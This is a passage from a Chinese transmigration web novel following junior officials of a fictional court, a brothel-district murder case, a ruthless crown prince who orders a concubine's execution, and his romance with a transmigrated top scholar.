可说起殷寺正,晏城便听外廊有脚步声靠近,与虚胖的大理寺卿不同,又不是那些喜欢成群结队的捕快。
脚步偏稳重,迈步频率不杂乱,一听就是殷寺正人过来。
想来是在堂内等得不耐烦,亲自到里屋逮人。
晏城转眸看了眼还在忙活的陶严。
为成功娶得美娇娘,他可学了不少功夫,束发的动作又快又利落,眨眼间,扎了个高马尾。
高马尾算少年人常用发型,表现的就是一个干净清爽,不分男女。
很多女扮男装的角色就偏好这种发型,钟旺为了更彰显男性身份,眉毛涂得老粗,尽学那些大老粗捕快,糟蹋自个样貌。
陶严不可管他,择了些碎发融入眉眼,破了他那强行显来的刚硬,多了些少年美感。
眉眼不紧绷时,长睫下垂,女性的柔美添了进去,使得他雌雄难辨,更难区分出来。
“这下不就好了,先前那模样可丑,与旺财没个区别。”陶严拍去手心的眉粉,说。
“说你是旺财,还哭!这下谁还说你跟狗一般邋遢。”
钟旺举起水银镜左看右看,天生的爱美性子,让他对这副模样爱不释手,搔首弄姿欣赏许久。
晏城默默走到陶严身边,举起手:“清肃,怎么还有这一手啊!”
陶严轻哼:“那是,不打扮好看些,那些姑娘怎会瞧你一眼!”
厉害,牛逼。
晏城在心里大肆赞扬。
“怎还在睡!”
没欣赏多久,殷寺正的声音透门而入,震抖堂内三人许久。钟旺最明显,肩膀高高耸起,镜子连忙啪桌上。
听那清脆的一声,陶严捂脸欲哭无泪,晏城偏向一旁。
又碎了一张水银镜。
不好报销,范大人又得闹了。
这可是范大人悄咪咪从他夫人梳妆小匣里偷拿的,仅此一块。
殷寺正走进,扫了几眼无所事事,一人望天,一人窥地的两主薄。
又看向缩着的钟旺,说:“起了就别赖在屋里,走!跟本官查案去。”
钟旺垂头转向他,走到殷寺正身旁,说:“是。”
逮了一人还不觉不够,殷寺正又看向仍在神游的两主薄:“没公文处理也跟着我出去,别缩在寺里干吃俸禄!”
说着,他与钟旺一人拉一个,直接拖走。
“唉唉!谁说今个没公文,要盖章抄目的公文可多了!”陶严挣扎要甩开钟旺的手,可他只是个干坐椅子的文官,甩不开的。
“没处理完的,交由范大人处理,谁让他每日待在里面泡
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茶看话本!”
对同僚,殷寺正无比清楚他们德性。
晏城人懒,除了去东市兴致高些。不管去哪,他都一副懒洋洋不肯动弹的模样。
可陶严,他还没点手段拿捏不了?
殷寺正转看向陶严:“今个要去淮阳巷,去吗?”
一说淮阳巷,陶严立即正经起来,不用钟旺拉扯,他自个抓着晏城另一只空余的手,说:“早说嘛,浪费某表情。”
面对抵死不从的晏城,陶严捞住要垮落的身体,凑到耳旁道:“淮阳巷新开了间花楼,里面饭菜,某听邻居说,味道可不错了!是南地来的庖子,扬州出了名的。”
扬州,那不辣不酸、又甜的玩意菜,精致小巧又TM的贵,晏城选择拒绝!
而且花街,他个有家室的男人,去那干什么!
惹人说事,瓜田李下,辩解都不好辩解。
但人小力不大,双拳难敌六手,晏城无奈被拖去淮阳巷。
白日的淮阳巷没晚候那般热闹,但往来的人流也不少,方下朝会的官僚,宴请的商人,都把京中最大的几座花楼瞧了个遍。
盛朝不禁官员押妓,晏城走在街上,时不时就瞧见个眼熟的同窗揽着位衣着清雅的女子往花楼里走。
嘴里念叨的可不是秽语,而是他新起的诗作,让姘头欣赏几番。
他们四人站在道路中央,每人都长有自有的美貌特色。
严肃正经、看似不耐逗的殷少宿,多情貌美、享有盛名的状元郎,温柔体贴、待人和缓的陶严。
还有雌雄莫辨,少年感拉足的钟旺。
抛来的手帕花枝,多得能把几人给埋起来。
又躲闪一枝,晏城将自己藏在殷寺正身后,小声念道:“怎么还记得我啊,这不都过了两三年!”
钟旺悄悄回:“大概今年的状元还没出,等新科状元游街,她们就忘了你。”
可恶,春闱还得几日。
等殿试过后,新出炉的状元郎足够她们好好玩。
“行了,我们先去春华楼,问问老鸨发生了何事?”
殷寺正清嗓几声,大胆抬脚往前走。
晏城把他当挡花牌,连忙跟上,钟旺也静静跟随,不忘拉着还在跟人聊天聊海的陶严。
“下回,小生定去拜访姑娘。”边走,陶严边与那姑娘告别。
春华楼是京城内目前名气最高的花楼,姑娘多来自江南水乡,言语中夹杂吴语的软糯。
醉里吴语相媚好。①
江南才子不少,会诗学琴、多才多艺的姑娘也不少。
落到花街里,更为这青楼添了几抹诗情画意,别说春华楼里的姑娘大多是精心培养的扬州瘦马,吸引力足够。
不少士大夫进出频繁,聊诗画画的场景多了去,抹去春华楼不少风尘味。
前头殷寺正询问情况,晏城无所事事,拉着钟旺坐在椅子上,夹起桌上小点心吃。
欣赏下同年磕磕巴巴的撩妹技巧,以及姑娘勉强的笑容,晏城直觉好笑得很。
怕被发现,惹对方好一顿说,晏城又转移视线看向他处。
不看可还好,看也其实还好,坏就坏在钟旺也跟着望去,不由得看见了眼熟人。
消瘦似竹的身子骨,持笔靠在木栏,念得几句酸诗,与陪伴他的姑娘嬉笑几番。
晏城抿唇,礼部仪制清吏司,从五品员外郎李德谦,钟旺父亲的同僚。
钟旺他几乎控制不住自己,嗖得站直,紧紧盯看李德谦一举一动。
嘴唇微动,欲言又止,说不出个所以然。
5. chapter 5
“呜嗯!嗯嗯——”
诺大的艳阳宫前庭,黑压压跪了不少人。
宫人淡蓝色的宫服,与能同御花园娇艳鲜花争奇斗艳的诸位受宠妃嫔,她们都跪服眼前人,不敢出一声。
秦嬷嬷取出水盆里浸泡的白纸,含着笑,温柔地道:“这般昂贵的珍白纸,连殿下都不曾用过,今日全赐予您了,齐美人。”
齐美人不负她盛名的美貌,含珠欲泣,娇弱躺在贵妃塌上,铺散的粉色衣袍,层层叠叠,比开在角落的桃花还要艳嫩。
粗制的麻绳捆缚住她的四肢,挣扎不了,齐美人学着史册上的李美人,情深又遗憾,扭着最美的姿势,与皇帝告别。
“不——”
被羽林卫紧紧抱住,皇帝连艳阳宫的门槛都不出去,疲老的眸眼,盈充泪水,目睹心尖上的美人,被白纸敷上。
一张覆上一张,起初还不觉什么,可当鼻尖承载的重量超出预料,呼吸也因纸张湿润而急促,甚至只能呼到沉重水汽。
死亡的降临又快又慢,慢是白纸需要一层层的叠加,快是呼吸太少,脖颈也因充红,没给齐美人反应求饶的机会。
她的死亡不血腥,也不暴力。
那又薄,又极其容易撕破的纸张,不断叠加起来,夺了她的命去。
“拖下去。”
秦嬷嬷使人将齐美人带离,可别让死人,脏了皇帝病居的艳阳宫,也别将死气过到太子身上。
“呵、呵…”
昨夜还与他同床共枕,交颈互诉衷情的齐美人,今日就被谢知珩下令抹杀。
人命的失去,对他来说,不过短短一句话,或者一个字。
香消玉殒的美人,拨不了他眼眸里的平静。
“恶鬼,你就是个恶鬼!”
皇帝朝着谢知珩大声喊唤,想挣脱羽林卫的束缚,可年老的躯体承受不住他的思绪,迈出的腿都疲累不已,沉重得似注了千斤铁水。
皇帝:“你特么狗娘养的玩意,那可是条人命,她可才十六,还没成年,就这么死在你手下,你心里良心过得去吗!”
“……”
骂得很脏,批改奏折的谢知珩连眉毛都未挑,朱笔在上面勾圈画点,执掌整个王朝的行进。
偶尔听到“娘”与“妈”,他手不受控制般顿了下,只那难察的一下,谢知珩继续处理公务。
皇帝骂得口干舌燥,嗓音哑得不能再哑了,秦嬷嬷让人灌了壶蜂蜜水进去,润润他破风的嗓子。
等不再辱骂,谢知珩收起奏折,艳阳宫边檐的阳光又暖又冷时,他缓缓抬眸与皇帝对视。
谢知珩:“骂够了吗?”
皇帝:“……”
谢知珩饮了盏浓茶,提神:“没有的话,请继续。”
“反正无论你再怎么辱骂,再怎么狂吠,也改不了此刻的结局。”
站起身,手撑着石桌,谢知珩淡淡道:“你也就会这点玩意,除了骂人,你还会什么?”
“除了跟妃嫔上床,跟她们打闹,现在的你,还能做些什么!”
似感到无趣又绝望,谢知珩投向皇帝的目光充满鄙疑与怀念,又曼上无尽的仇恨,紧握的手,鲜血从指尖滴落。
“哼——”
“多给孤生点弟弟妹妹,这是你活着的,唯一作用。”
谢知珩摆摆袖,让羽林卫将皇帝拖回艳阳宫的寝殿里,妃嫔也不再跪着,在淑妃贴身宫女的拉扯下,揉着膝盖站起来。
如出一辙的凤眸,皇帝眼里只有对他无尽的恐惧。
谢知珩却疲累得很,路过被仗杀宫人的尸体时,对血与死人没有任何惊恐,平静的留不住一点痕迹。
踏出艳阳宫,羽林卫再次把艳阳宫重重包围起来,阻拦任何想外踏一步的妃嫔宫人。
藏在内里的隐卫,不放过半只传信的飞鸽,连细小的蝇虫,都碾死在鞋底。
皇宫的道路上游走的宫人不少,谢知珩撑着欲睡的脑袋,要闭不闭,模糊注视每一位弯下腰膝的宫人,垂首站在墙角,等待太子辇座的离开。
以前也曾瞧见这情景,但那时,谢知珩是待在阿耶怀里,扯着还没染白的鬓发,闹着与阿耶玩。
帝王的辇座很大,足够他们一家三口乘坐。
阿娘一旁轻笑,拍了拍谢知珩的手背,微微严肃地说:“不可扯阿耶的头发,阿耶会痛的。”
“是吗?”谢知珩不解,攀上阿耶的肩膀,仰头凑近阿耶鬓角,呼呼:“珩儿吹吹,吹吹阿耶就不疼了。”
“哈哈哈……”
帝王摸了摸谢知珩柔软的发顶,笑说:“好,珩儿吹吹,阿耶就不疼了!”
记忆太美好,那时阿娘还未操劳过多,精神枯竭,害病而死。
他的阿耶,盛朝的熹始帝,还没出事。
作为熹始帝唯一的嫡子,又是最爱的妻子诞育,谢知珩出生伴随熹始帝的登基。
那日,熹始帝高居太极殿,为还未出生的孩子,立下立储诏书。
群臣具惊,为这可称千古的明君仅此一次的出轨。
群臣皆在劝说阿耶,就连谢知珩外祖镇远大将军也跪爬至陛下,求熹始帝收回旨意。
任人来劝,熹始帝都不肯,抓着立储诏书,同群臣,同宗室,同公爵对抗。
“朕,一定要立阿芝的孩子为太子!”
不容抗拒,熹始帝勇于面对群臣百官,连宗室琅琊王叔的劝骂也不听。
好在谢知珩紧随其后的诞生,才解救了这场登基大典。
“阿耶…”
“阿娘…”
早春的风还是有些冷,哪怕处在辇座里,谢知珩也紧紧抱住自己,蜷缩着缩在里面,柔软的虎皮吸了掉落的泪水。
服侍谢知珩许久,几乎是看着他长大的李公公,站在辇座旁,无声叹息。
为过世的天后叹息,为前后不一的熹始帝,也为孤身一人支撑诺大王朝的谢知珩叹息。
“殿下……”
李公公缓缓出声,到了东宫,辇座内仍未传来动静,他便让人抬起辇座去寝殿。
落轿的声响不算小,哪怕宫人再怎么小心,也惊动了谢知珩。
揉了揉泛着水的眼眸,谢知珩靠着扶手,借助小太监的力,下了辇座。
“去政事堂。”
谢知珩转身背靠寝殿,往政事堂方向走。
李公公垂眸,跟了上去。
谢知珩自小长在熹始帝膝下,养在德阳殿,自是学了熹始帝夙夜处理朝物的习惯,任由天后怎么管,也改不了。
“处理得好
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快,不愧是大理寺探花,殷寺正大人!”
桌上几盘点心被夹个干净,无奈拉来的三人,在纱帘的遮掩下,睁眼瞧殷少宿处理完一切。
上能欺大理寺卿,下能安抚陶严,殷少宿的能力无可厚非是大理寺内最强大存在。
不然就凭他侯府少爷的身份,区区同进士出身,哪能爬到从五品地位,压制底下进士或状元郎出身的主薄。
三下五除二的功夫,仅仅查问春华楼几位姑娘,殷寺正便将淮阳巷某书生被杀案的疑犯,缉拿归案。
钟旺也赞叹不已:“好厉害,殷大人!”
“殷大人自个就能处理,为何要拉上我们几人?”
晏城不理解,难不成殷少宿真的只是简单看他们两人闲置寺内不爽。
清楚内情的陶严,贴在晏城耳旁说:“先前同几位姑娘聊了会,这姑娘在楼里有个姘头,想与那书生断了,但老鸨不许。”
“书生日日夜夜纠缠姑娘,姘头忍不了,才下的手。”
晏城摸了摸下颌:“情杀案啊?”
又思索几番,晏城觉得不对劲:“情杀案,哪由得殷寺正出手,又这般急促?”
钟旺愤愤:“人命关天,作为大理寺一员,早点断案不该?以告黄泉下的那位书生。”
晏城:“……”
“该说不说,也幸得是位书生,也幸得他死在这段特殊时间。”陶严往嘴里倒了几口酒,“不然,哪会让殷寺正现身。”
“……”
钟旺咬唇不解,他小声说:“就一定是因为他是书生,我们才这般着急探案?”
士农工商。
贯彻整个封建时代的四字阶级。
晏城转悠他掌心的茶盏,垂眸未语。
陶严脸上的笑意不散,伸手安抚了钟旺略显凌乱的发顶,柔软的发旋顶着他重重笔茧的手指。
“旺财,有时间别跟着殷寺正,跟着几道,同他多看些经文。”陶严建议道,“他学识可不浅呢,迄今为止,盛朝高中大/三/元的三位学子之一。”
又聊起原身的努力,哪怕在太子手下补了好几年的课,晏城也不敢与原身相比。
忙拒绝:“清肃可别开玩笑,我哪有你说的那般厉害,站在你面前的,只是大理寺从七品下的主薄!”
“别开玩笑哦。”晏城塞了块点心堵陶严的嘴,止住他更多的爆料。
转眸见钟旺兴致勃勃,瞳眸闪着星点光,像是窗外夺目的阳光嵌入他眸子。
太过耀眼,晏城抬手遮掩这日光,扯过纱帘,由春风拂碎光斑,落在手背不觉热度。
“哼…”
晏城呼出心中的无奈,勉强拉着嘴角:“往日熹光哪敢追,今个,某只是小小主薄,当不起那三学子之称。”
陶严撑着脑袋,温柔的眉眼和缓,睫毛投在眼下,落得碎碎瓣状影。
似想起什么,他用极低的声音说:“几道所遇到的险境,改天换日,便可得天降大任。”
“改天换日……”
晏城往窗外瞧了好几眼,日朗的天,看不见半点变化。
晏城:“是要下雨了吗?清肃。”
“?”
钟旺听不懂,推开窗户,顶着天看了许久,也没瞧出个下雨的预兆。
6. chapter 6
“只能查到这儿吗?范大人。”
大理寺内,已过下值时刻,殷少宿站在被迫处理主薄公务的范衡前。
他捏卷宗的手青筋赤露,根根分明缠着每段指节。掌心很热,连卷宗的边角也烧热得厉害,范衡接过时,也被烫着。
眼前青年也才二十又七出头,在宦海沉浮的时刻太短,难以看清平静海面下,汹涌不可躲的涟漪。
范衡轻笑:“地牢里被捕的茶壶不是杀害柳学子的犯人?”
“是,是他握着菜刀砍了柳书生十几刀。”
毋庸置疑,殷少宿亲自探寻的线索,亲自缉拿的犯人,自是清楚得很。
但其中疑点太多,殷少宿仰着头问:“他只是受雇于春华楼的茶壶,除去兰姑娘外,楼外还有不少相好姑娘,怎可能为兰姑娘杀了已为举人的柳书生!”
“他怎么敢啊!中得举人,便身有官名,区区个茶壶,哪敢对朝廷官员动手!”
太多疑点,只需往里细细一想,殷少宿便能找出每环节中的破绽。
甚至,那人几乎不在乎破绽是否被大理寺发现,他笃定大理寺无法动他几分。
刑不上大夫,谁会为一个小举人,动那高坐庙堂的要员。
范衡在卷宗上盖上大理寺卿的官印,一案了结。
抬眸看向禁闭的门窗,偶有光束自缝隙中投落,也只是些微的烛火,不用担心。
范衡:“少宿,别追究太多,想想自己为何竭尽全力考取功名,哪怕只得了个同进士出身。”
“南阳侯府脱离朝廷太久,自开阳十年起,六部中便不见南阳侯府的人。”
范衡轻声说:“还记得你那嫁到员外郎家,耗尽精血而死的姐姐吗?还记得牢牢记在人心中的那四个字吗?”
“永远不要忘了,自己是为何站在本官眼前。除非你是……”
范衡不再言,他清楚殷少宿能意识到。
殷少宿嘴里拉出讥讽的笑声:“除非我是几道!”
“是的呢!”范衡拍着掌心,高昂着眉头与他说:“若你有几道那般冠绝京华的样貌,爬上殿下的床榻。”
“今日,你就可凭自己义气与良心,去寻更深的真相与正义。”
范衡无奈叹气:“可惜,整个京城,也只出了这么一个几道。”
又想起什么来,望着满堆满堆的公文,范衡咬牙切齿:“今日不还把几道清肃拉了出去,他们有为柳书生出半些力吗?”
“平常可没给我留这般多的事务!”
殷少宿偏头,细碎的额发遮掩他清亮的眸眼,沉默许久,才缓缓开口。
“他们跟钟旺待一处,不曾出头。”
“所以啊,少宿你得向他们学习,有些事情,不该参与的,就别参与。”
范衡:“可别跟几年前礼部那郎中一般,落得一人获罪的下场。”
“早些回去吧,别让你母亲等太久。”范衡挥挥手,闭眸养会儿干涩的眸子,让殷少宿离去。
“……”
殷少宿还想再问点,只是范衡送客的意味太浓,他垂眸后退,关上房门。
春日的夜太清朗,连云都不曾敢蔽月,它的月辉随着星点落在殷少宿掌心,收紧五指,抓不住又握不紧。
趴收门口的旺财把头埋在前腿间,偶尔听脚步声响在耳边,它才缓缓抬头,见是殷少宿,又趴了下去。
浓墨的天,悬挂的灯笼蜡光微亮,落在殷少宿脸上,神色不对,紧握的指缝有血味传来。
旺财只低着头颅,没抬起过。
南阳侯府再起的时间太短,支撑整座侯府也就殷少宿一人,他时时忙于公务,回府的时刻不固定,殷少宿便没让母亲使人驾马车来。
京城的主干道多有街边小坊照亮,也有高悬的烛火,为晚归的官员,扫除道路上的漆暗。
五城司跟随更夫的脚步,在京城中巡逻,殷少宿回家途中,也遇见中城副指挥使,被询问了好几番才被放过。
“又忙到这个时刻啊,殷大人。”松副指挥使拍了拍殷少宿的肩膀,问。
对殷少宿的能力与敬业,松梧年可敬佩,他时常在这个时刻逮住方下值的殷少宿。
殷少宿扯着嘴角回笑:“松大人更是辛苦,不过,今夜怎带了这么多人巡查?”
松捂年往后看了眼:“春闱将近,又多发恶事,殿下为确保各位举人安全,责令五城司多派人手,不可再让举人殒命。”
“悄悄告诉你个坏消息,淮阳巷那边巡查得更厉害!殿下下令,春闱期间,禁止官员举人押妓,让御史大夫监察,那些豺狼听了,可兴奋!”
松捂年想到家里那御史弟弟,自政事堂回来后,兴奋的连写好几封奏折,同问好奏折上达东宫。
后天小朝会,殷少宿已能猜想到,政事堂里会有多闹腾。
不过……
“亡羊补牢,为时不晚。”
先前抑郁的心,听了松捂年的话,得知太子的命令,殷少宿情绪稍得舒缓,眉眼不再那么冷冽,不再那么厌世。
以柳举子的死亡,换来京城近期的安全。
御史台的那些大夫,盯官员盯得可狠,几乎被同僚骂作,蹲守茅厕旁的破烂玩意!
与松捂年辞别,殷少宿继续走在回府的路途中,垂落的嘴角上扬少许,明亮的眸子在烛火月光的照射下,熠熠生辉。
“?”
遇到了意想不到的人,殷少宿眉头不解地看向方从某位官员家中出来的钟旺。
他眼角润红,像是受了顿委屈,哭泣好几番。
看不得手下人被欺负的殷少宿,愤然站出来,走到钟旺面前。
只顾垂头走着的人,微亮的道路骤然被黑影侵蚀,钟旺吓得忙后退几步,怕半路遇到鬼。
抬眸见到堵他的人,钟旺欲哭无泪,还不如是鬼呢!
先前的委屈不满,在此刻,立即化为对上司的惧怕,马尾都低垂不少。
“谁欺负你了?有委屈快说,仅此一次!”殷少宿挡住路旁的光,与钟旺说。
钟旺:“……”
我能说是你吗?
你给的委屈比哪个都多,就你最能欺负我!
钟旺摇摇头,背着良心小声嘀咕:“没被欺负。”
“确定?”
殷少宿不信,看了眼已紧闭的房门,简朴外表,小三进的房屋,看起来不太富裕的样子。
能论贫穷的部门,也就六部中的礼部。
礼部官员大多出自翰林院,文人清流最多的队伍。
“想求学,空闲时间去问问几道,他毕竟状元出身,比那些礼部酸儒知道的更多。”
“???”
钟旺困惑不解,但没解释,由着殷少宿转向有误的道路上思考。
殷少宿:“你还小,还是得考取功名,明经初开,不如进士科在朝内得看重。”
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“费尽心思留在京中,可别被丢到地方去,多向几道清肃学习学习!清肃出身江南名门,学识不输几道。”
钟旺拉着殷少宿衣角:“陶大人也是进士出身?”
顿时,钟旺无比敬仰殷少宿,他个同进士出身,左踩晏氏状元郎,右压陶进士。
“咳咳,我只是比他们多入官场几年,还有范大人的看重。”殷少宿又说,“以及他们懒散的性子,不肯往上爬。”
“这点,你可就别学,你没他们那么有底气,不怕他人欺辱。”
的确有点闲散。
钟旺想起春华楼时,两位进士要么只顾点心、看人热闹,要么只顾着勾搭讨好小姑娘,没半点上进心。
仅限于修身境界。
哦,陶大人还在努力往齐家方向发展,可惜屡战屡败。
不知状元郎可有婚配,抵达齐家境界?
大抵是没有的,状元郎避姑娘如猛虎,躲在纱帘内不敢探头。
“啊啾——”
被念叨的两人,齐齐揉着鼻子,不满地回忆自己又招惹哪方神兽。
最多,就是将所有公务推给大理寺卿处理。
“受寒了?”
陪伴许久的书童从书本里抬起头,问陶严。
得了陶严摇头回复,书童不给与温柔问候,继续埋首在薄薄话本中,沉浸在才子佳人的美话里。
陶严不满:“就不能多关心我一点点吗!”
“……”不能,书童用行动回答。
“受寒了吗?”
谢知珩伸出手指探了探晏城微凉的脸颊,鬓间的碎发因他细微的呼吸而缠在指尖,融入瀑布般垂落的墨发里。
晏城摇摇头,握住谢知珩的手腕,由他躯体曼上的温度更低,以及浸透他骨子里的茶香。
以前,晏城只认为饮茶是文人附庸风雅的招式,可瞧了谢知珩把茶当水喝的习惯,以及日日浓茶。
晏城才发现,茶对谢知珩来说,正如打工人的咖啡,提神继续下一段的熬夜。
只是,谢知珩体质特殊,难以在他眼底见黑青。
所以,晏城很长一段时间里,没发觉谢知珩在耗费自己生命,来支撑这庞大的王朝。
“休息一会儿吧。”
晏城吻了吻谢知珩受风吹红的眼角,说:“你比我更冷,吹了多久啊!”
谢知珩抿嘴不言,紧紧搂住晏城的脖颈,用对方温热的身体来暖和自己。
只是搂住还不够,哪怕让自己贴着晏城更紧,也仅仅是隔着外袍里衣去感知对方存在。
“殿下?”
被压倒时,晏城还有些吃惊。
对方冷白的指腹摹着桃花眸,在眼角下滑,顺着脸部弧线,重重按压在因紧张而吞咽的喉结处。
谢知珩轻笑,手指曲起,轻敲他的喉结:“很担心?”
俯下身,过长的发在身后散开,又如丝绸般滑落,混着谢知珩明黄的外袍,堆堆叠叠搭在晏城衣摆,像极被人为剥开,又层次分明的花瓣。
床旁的烛火隐隐灭灭,偏长又密的睫毛半垂,欺着凤眸,掩住他的光亮。
是要吞噬的黑暗,于角落中侵蚀谢知珩半身,又在吻着晏城时,随烛火晃悠着退散不少。
“殿下…你该休息的、唔……”
谢知珩捞起晏城的散发,说:“嘘,别命令孤……”
“孤只是想,多感受你一点……”
7. chapter 7
“呜…不行,已经到极限了……”
被纱帘封闭的拔步床,银丝碳的暖热传不进,与熏香的缕缕缠绕在垂泪的烛焰中。
瞧不见什么,偶有刻进骨血里的龙涎香溢出,与骨节分明的指节,青筋自手背蔓延,融入被紧紧抓握的被褥里。
抑积心头的愁绪,消散在近乎崩溃的哭鸣中。
眸眼溃散,看床顶也模糊,泪水将谢知珩这双过度使用的瞳眸润得透彻,闯进来的只有晏城被欢愉染得通红的桃花眸。
连眼角都抹了层胭红,谢知珩伸手去触碰,才贴及唇角,便被晏城微偏头,张唇含住半节。
好烫,传递来的体温太高。
呼吸像火般灼烧谢知珩指尖,又连着心,烧到他心口。
另一只手扯着晏城略显凌乱的衣领,无需用力,顺着谢知珩给的力度,晏城低下头与之交吻。
更多了。
晏城给与的浓情要将谢知珩吞噬,挣扎着想逃离,可被紧紧压缚,避不开过浓的春意。
身体因崩溃而急剧颤抖,谢知珩在过多的给与中,引起强烈的犯呕反应,呼吸喷洒在接触面中。
“别怕……”
晏城安抚谢知珩躁动的身躯,紧紧搂抱着,指腹抹去落不完的泪珠,以及谢知珩不断崩溃的情绪,顺着呜咽的哭声传到他心底。
指尖发麻,软得抓不住任何事物,谢知珩仍要绷直五指,扯动晏城垂落肩膀的发带。
“看着孤,看着孤,你要一直看着孤……”谢知珩声音断断续续,破碎得连不成整句。
“哼…”
晏城轻笑,蹭了蹭谢知珩被春意暖得绯红的脸颊,边亲边说:“我一直看着,除了你,我还能看谁呢?”
“被同僚拉到花街,我可都没看那些姑娘一眼。”
想了想,晏城又说:“还有那些兔儿爷,我发誓,眼睛动都没动一下。”
“呵。”
谢知珩想再说写些什么,唇瓣微张,就被晏城吻着,发声工具被纠缠,无法动弹。
数日的疲倦消散,谢知珩靠在晏城怀里闭着双眸,连清洗都是被抱着过去,偶尔有细微的感知,也是晏城吻着眉心,安抚紧紧蹙起的眉头。
指尖沾染的水珠滴落在他睫毛,不平的眉心,突涌上的破碎感,搭着谢知珩散不开的权高位贵,毫不突兀。
晏城垂首,用鼻尖,张唇舔去那点细微的碎意,接住谢知珩哪怕无意识,也要贴近的双手。
“稍微休息会儿,别那么累。”
将人搁放侧屋里,晏城还不觉困意,取了那本集注翻阅,上面密密麻麻的小字,皆是谢知珩用微小的空闲,一笔一笔写来。
晏城看得很快,他早早便记得书中内容,也看透大儒珠玑的判语。
只是,夜重太闲,晏城又翻开看了一遍。
李公公听屋内声响小了些,端着热壶走进来,见晏城还醒着,又翻着书。
“晏大人可否需要我为你掌灯?”
晏城摇头,只接过没混入茶汤的热水,湿了湿唇:“大朝会方开,小朝会未启,殿下是能多睡了会儿?”
李公公摇头。
“淮阳巷的事,白日便得了了结,刺杀的茶壶已认罪,背后的主谋可见。”
晏城抚开粘着谢知珩唇角的碎发,说:“得了殿下旨令,春闱期间,他们大抵是不会再闹出事祸来。”
晏城:“明日与那些大人说,殿下有事,恐不能同诸位大人共议大事。”
李公公越过纱帘望向仍在熟睡的谢知珩,始终暗藏的倦累曼上心头,呼吸清浅,偶有不适,也闷哼着沉眠进软枕里。
与素来枕用的硬枕不同,晏城提议的软枕更舒适,也更易于入眠。
殿下很喜欢。
“好。”李公公垂眸,听了晏城的劝语。
殿下也是该好好休息。
伊春耕始,至春闱,殿下都不曾入夜则眠,天亮方醒。
待李公公退下,烛光只床头那晕黄温柔一盏,晏城将集注塞回书袋,贴着谢知珩侧躺。
作安神用的龙涎香配着清茶吸入,紧抓被角的手被晏城从掌心分散,相贴着,又相扣。
谢知珩握着不松,还是晏城轻拍许久,才不至于抓得那么紧,那么疼。
“我在这呢,殿下。”
晏城用额头贴着谢知珩微带凉意的耳廓,后深埋在谢知珩颈窝,细软的发顶蹭了他下颌许久,晏城才满意闭上眸子。
睡意想来便来。
只要能闭上眼,怀里抱着熟悉认可的人,能让晏城在这陌生的世界里,踏上厚重的地面。
非大朝会期间,也非旬过十日,休得短短一日浮闲。
初春的早日不太亮,窗外夹杂暗蓝的残影,偶尔袭来的风吹得要熄的烛火呼呼。
被褥内暖和,即使炭火不燃,屋内也没凉到哪去,可晏城就是不想起。
此乃他世高材生必需异能,也乃必信奉的教会——回笼教!
“不起吗?”
折腾许久,嗓子还带有哑,谢知珩为晏城梳理因入眠而扰乱的头发,一遍又一遍,梳滑顺些。
晏城搂着人不动弹,埋在人怀里,声音闷闷的:“不想起,殿下不用早起,我也不想起。”
谢知珩轻笑:“夜来为孤请了假,今日天不阴,等你下值,可在花园里用膳。”
“迎春的花,应是开了不少。”
没法拍照,发不了某圈炫耀装逼。
晏城更不想起来,抱着谢知珩,在未散去的红痕处浅吻,又温柔安抚他留下的咬处。
承接住晏城的晨起安抚,谢知珩轻喘,言:“去吧,孤让人备了些早膳,可在路上用些。”
“有没有不需要早起的官位,想去。”晏城愤愤不乐,脑海里辞官的想法越发浓烈。
谢知珩轻笑,伸手抚平他的不快:“辞官当孤的男宠?孤可以养着你。”
“……”
“嗯……你让我考虑下。”晏城闷声回。
最终还是无奈起床,只是初起时脑袋浑浑噩噩,颓丧的精神削减晏城体力,连衣服都不好好穿,差点套了谢知珩的太子外袍。
吓得旁边宫人跪地不起,头也不敢抬一下。
“哼,这般不愿早起。”
谢知珩轻笑出声,踩在毛毯上,接过宫人奉来的衣袍,为晏城穿上。
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>垂落的长发有梳发女官梳理,谢知珩系上腰带,挂上玉佩,还没后退几步欣赏自己杰作,便被晏城搂着腰抱过去。
黏黏糊糊,贴着唇瓣含咬几次,晏城困意不散,半眯着眸子蹭了谢知珩许久,才被推着用早膳。
“要孤送你到大理寺吗?”
寸步不离,太贴着自己,谢知珩笑着问他。
晏城想了想,摇头:“算了,别让太多人知道,我被殿下包养了。”
虽然,这个事情在京城上层不算秘密,高官贵将都清楚,太子收了个状元郎入房门。
出门又是一顿磨磨蹭蹭,谢知珩对他在晏府小三进院落里绕圈的行为只表笑意。但李公公捧着浓茶,眉眼慈祥又温柔,被宫人密封的奏折,注视晏城的不愿。
“好啦,我出门了。”
是真的下定决心,晏城临走前吻了谢知珩好几下,才拎着书袋与点心,踏出家门。
此刻,距离大理寺规定的上值时间,没几刻钟头。
虽快要迟到,可晏城还是绕了点路,到东市去,瞅几眼出摊的早贩。
东宫小厨的点心色相俱全,乃庖子精心制作的艺术品。
吃惯了家里的,还是想要瞧瞧外头的食物,不干不净,反正吃了没病。
京城早起的人不少,经商的小贩,早起读书的书生,方从相好屋爬出来的同年。
嗯……
晏城发觉自己遇到同年的概率越来越大了。
防止麻烦找上门,晏城特意避开他们走,专走小道,寻那偏僻巷子深的美食。
可惜,那些主人家的,都没开门。
晏城无奈,出巷子到大道上上值去。
比我还恃宠而骄,不要因为自个美味,就不将食客的心放在心上,小心我放置你几日,试试看!
不知名巷子里的腥臭味不散,被冲洗数次还仍有味,晏城缩鼻嗅了好几次,都没嗅出什么味道。
应该不是可回收、可利用的二手食材。
“呜呜嗯……”
前头有人走来,脚步沉重,哭声不断,口里絮絮叨叨,不像盛朝口音。
晏城大步往前走去,是个熟悉又陌生的人。
陌生,是晏城从未见过这人,对他的了结少之又少。
熟悉,是晏城在大理寺的卷宗里看到过他的名字,也被殷寺正拉着查案,检查尸身。
柳举子,被相好欺骗,被春华楼的茶壶砍了好几刀才死。
身上那件洗得发白的衣物,还沾有他死时的血液,成了染抹的图案。
“我艹!”
“现在是个什么情况,又不是拍电视剧,我怎么在影视城里醒来!”
“淦哦,我还得上班啊!老子全勤没了!”
好熟悉的词汇,直击人心的破防瞬间。
要命,晏城愣愣想,他好像也得去上值。
晏城又想,全勤,大理寺有这规矩吗?
全勤能干嘛,结算俸禄时多给些米面吗?
不过再怎么想,晏城确定,自己今日得要旷工了。
他呼出蜷缩在喉咙处的浊气,卷起书袋的绳索,牢牢抓住,抬眸往死而复生的柳举子走去。
8. chapter 8
“萨瓦迪卡,空尼七哇!”
没扯玩佛珠,晏城将书袋的拉绳在掌心绕了一圈又一圈。
缓垂的眉眼,桃花眸翘尖的眼尾,因笑意而染上细微媚情,春风又吹得他冷冷。
